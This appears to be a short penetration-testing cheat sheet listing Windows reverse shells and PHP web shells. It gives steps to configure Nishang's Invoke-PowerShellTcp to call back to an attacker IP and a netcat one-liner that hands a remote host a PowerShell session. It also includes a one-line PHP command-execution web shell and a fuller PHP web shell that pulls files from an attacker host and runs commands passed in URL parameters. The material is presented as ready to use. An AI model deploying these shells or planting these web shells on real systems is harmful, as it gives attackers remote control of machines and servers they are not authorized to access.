WIN Shells

PowerShell reverse shell available here

PHP reverse shell available here

Netcat for Windows available here

# PowerShell

cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 shell.ps1

vi shell.ps1

# go to end of file, paste the following

Invoke-PowerShellTcp -Reverse -IPAddress [attacker_ip] -Port [attacker_port]

# close, reverse shell ready to use

# Netcat - use x64 or x32 as per target. powershell.exe or cmd.exe

nc.exe x.x.x.x <port> -e powershell.exe

PHP Webshells

# Basic. system() or shell_exec() or exec()

<?php system($_GET['cmd']);?>

# More functional

<?php

$ip = 'http://<IP>/'

# [:port] . Change this

# Upload

if (isset($_GET['fupload'])) {

file_put_contents($_GET['fupload'], file_get_contents($ip . $_GET['fupload']));

};

# Execute code

# shell_exec() or system() or exec()

if (isset($_GET['cmd'])) {

echo "<pre>" . exec($_GET['cmd']) . "</pre>";

};

?>

Last updated